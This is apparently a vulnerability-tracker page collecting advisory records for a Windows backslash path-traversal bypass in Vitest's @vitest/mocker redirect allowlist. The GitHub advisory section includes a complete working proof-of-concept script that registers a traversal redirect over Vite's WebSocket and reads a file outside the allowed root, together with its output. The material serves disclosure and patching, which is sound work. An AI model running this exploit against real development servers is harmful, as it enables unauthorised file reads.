Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 06:34 UTC Customize Public modeDiscuss ChangeIntel on Discord

Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-112950

Published

Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.

Source published
20 Oct 2026 15:21:32 UTC
Source modified
28 Oct 2026 14:04:58 UTC
Observed here
28 Oct 2026 15:46:50 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

euvd · EUVD-2026-105152

Published

Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 20, 2026, 3:21:32 PM

dateUpdated: Oct 28, 2026, 2:04:58 PM

Source published
Oct 20, 2026, 3:21:32 PM (timezone not stated)
Source modified
Oct 28, 2026, 2:04:58 PM (timezone not stated)
Observed here
30 Oct 2026 01:57:07 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd · CVE-2026-112950

Published

Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-10-20T16:17:05.807

lastModified: 2026-10-28T14:16:56.487

Source published
20 Oct 2026 16:17:05 UTC
Source modified
28 Oct 2026 14:16:56 UTC
Observed here
29 Oct 2026 05:48:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-xp26-3454-mjgp

Published

## Summary The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname. The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root. I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines: - `@vitest/[email protected]` - `@vitest/[email protected]` The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior. ## Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it. ## Relationship to GHSA-82fw-gwwq-j7x9 This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted. The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore: - `4.1.11` - `>=5.0.0-rc.2, <5.0.3` Older affected releases remain covered by GHSA-82fw-gwwq-j7x9. ## Root cause `packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of: ```ts const redirect = join(server.config.root, redirectUrl.pathname) if (!isFileLoadingAllowed(server.config, redirect)) return event.redirect = redirect ``` The registered value later reaches: ```ts readFile(mock.redirect, 'utf-8') ``` Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently. The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path. ## Preconditions and impact A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions. The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed. ## Reproduction Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary. Install dependencies for either affected line: ```console npm install @vitest/[email protected] [email protected] [email protected] # or npm install @vitest/[email protected] [email protected] [email protected] node poc.mjs ``` `poc.mjs`: ```js import { mkdir, writeFile } from 'node:fs/promises' import { join } from 'node:path' import { tmpdir } from 'node:os' import { randomUUID } from 'node:crypto' import { interceptorPlugin } from '@vitest/mocker/node' import { createServer } from 'vite' import { WebSocket } from 'ws' const base = join(tmpdir(), `vitest-path-${randomUUID()}`) const root = join(base, 'root') const secret = join(base, 'secret.txt') await mkdir(root, { recursive: true }) await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY') const server = await createServer({ root, configFile: false, logLevel: 'silent', server: { fs: { allow: [root] } }, plugins: [ { name: 'validation:virtual-modules', enforce: 'pre', resolveId(id) { if (id === '/control' || id === '/bypass') return id }, }, interceptorPlugin(), ], }) await server.listen() const port = new URL(server.resolvedUrls.local[0]).port const baseUrl = server.resolvedUrls.local[0] function register(id, redirect) { return new Promise((resolve, reject) => { const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr') const timer = setTimeout(() => reject(new Error('registration timeout')), 5000) socket.on('message', (raw) => { let message try { message = JSON.parse(raw.toString()) } catch { return } if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') { clearTimeout(timer) socket.close() resolve() } }) socket.on('open', () => socket.send(JSON.stringify({ type: 'custom', event: 'vitest:interceptor:register', data: { type: 'redirect', raw: '', id, url: id, redirect }, }))) socket.on('error', reject) }) } try { await register('/control', 'traversal:../secret.txt') const controlResponse = await fetch(new URL('/control', baseUrl)) const controlBody = await controlResponse.text() await register('/bypass', 'traversal:..\\secret.txt') const bypassResponse = await fetch(new URL('/bypass', baseUrl)) const bypassBody = await bypassResponse.text() const result = { platform: process.platform, root, outsideFile: secret, slashTraversalStatus: controlResponse.status, slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), backslashTraversalStatus: bypassResponse.status, backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null, expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1', } console.log(JSON.stringify(result, null, 2)) const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked ? !result.backslashTraversalReturnedOutsideCanary : result.backslashTraversalReturnedOutsideCanary if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1 } finally { await server.close() } ``` Observed with `@vitest/[email protected]`: ```json { "platform": "win32", "slashTraversalStatus": 404, "slashTraversalRejected": true, "backslashTraversalStatus": 200, "backslashTraversalReturnedOutsideCanary": true, "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY", "expectedBackslashTraversalBlocked": false } ``` The same result was observed with `@vitest/[email protected]`. This includes two useful controls: 1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active. 2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Source published
21 Oct 2026 19:48:38 UTC
Source modified
21 Oct 2026 20:01:41 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 31 Oct 06:34 UTC · 272 of 272 readable · 270 fully read · documentation 469/469 current